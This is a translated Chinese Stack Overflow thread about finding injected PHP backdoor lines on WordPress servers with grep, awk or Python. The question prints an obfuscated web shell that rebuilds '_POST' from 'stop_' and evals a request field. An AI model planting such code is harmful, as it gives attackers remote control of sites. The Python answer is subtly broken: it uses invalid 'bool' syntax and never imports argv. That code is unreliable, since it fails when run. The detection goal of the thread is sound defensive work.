需要有关Linux Shell Script的帮助才能找到字符串模式

时间:2014-12-02 06:59:11

标签: linux bash shell

grep是一个很好的实用程序,但是当涉及到这个特定的任务时,我发现任何Linux命令都不方便。

在我的服务器中,许多黑客文件主要注入所有wordpress网站。 模式通常是这样的。

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}'q5dfb07'])) { eval(${$s20}['q5dfb07']); }

现在,我正在寻找可以在一行中找到以下字符串的linux命令。 isset,eval,[0],[1],[2],[3],这些字符串可以按任何顺序排列。

我认为,使用我们可以这样做,grep eval $ name | grep strto | grep isset

2 个答案:

答案 0 :(得分:2)

您可以试试grep -P

grep -P '(?=.*?isset)(?=.*?eval)(?=.*?\[\d+\])' file.php

如果您没有grep,则可以使用awk

awk '/isset/ && /eval/ && /\[[0-9]+\]/' file.php

答案 1 :(得分:0)

根据此处提供的信息: http://www.thegeekstuff.com/2011/10/grep-or-and-not-operators/

如果订单很重要,请使用以下命令:

grep -E 'pattern1.*pattern2' filename

如果订单无关紧要,您需要将其格式化为:

grep -E 'pattern1.*pattern2|pattern2.*pattern1' filename

你可以想象,这可能会非常难看。我认为最易读的是你的建议:

grep -E 'pattern1' filename | grep -E 'pattern2'

然而,一个简单的python程序可以帮助你:

#!/usr/bin/env python
keys = argv[1:-1]
with open(argv[-1], 'r') as fd:
  for line in fd:
    bool matched = True
    for key in keys:
      if key not in line:
        matched = False
        break
    if matched:
      print(line)

你可以这样运行:

python search.py pattern1 pattern2 pattern3 filename